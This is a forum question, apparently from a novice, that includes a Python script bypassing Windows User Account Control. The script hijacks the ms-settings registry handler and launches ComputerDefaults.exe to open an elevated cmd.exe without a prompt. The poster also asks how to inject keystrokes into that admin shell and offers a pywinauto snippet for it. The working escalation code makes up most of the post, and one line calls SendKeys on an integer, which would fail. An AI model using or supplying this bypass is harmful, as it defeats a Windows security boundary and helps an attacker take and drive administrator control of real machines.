I have a python script that bypasses the UAC (Bypass User Account Control ) in windows.
I need to then be able to somehow communicate to the opened CMD and pass commands to it. For example: echo testing
Ive only been able to find code that opens a new cmd and communicates to it. However this does not help as i need to communicate to the new one (Currently Running) i created with the UAC bypass.
UACbypass.py
import os
import sys
import ctypes
import winreg
def create_reg_key(key, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-
settings\shell\open\command')
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise
def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
a=os.system(r'C:\windows\system32\ComputerDefaults.exe')
a.SendKeys("aaa")
return 1
except WindowsError:
sys.exit(1)
if __name__ == '__main__':
if bypass_uac():
print ("Enjoy your Admin Shell :)")
I am very new to coding and python. Please be nice :)
EDIT:
I have this code below. It sends the keys to a normal cmd process however it does not send it to a cmd with admin rights.
from pywinauto import Application
app = Application().connect(process = 16364)
dlg = app.top_window_()
dlg.TypeKeys('hello world')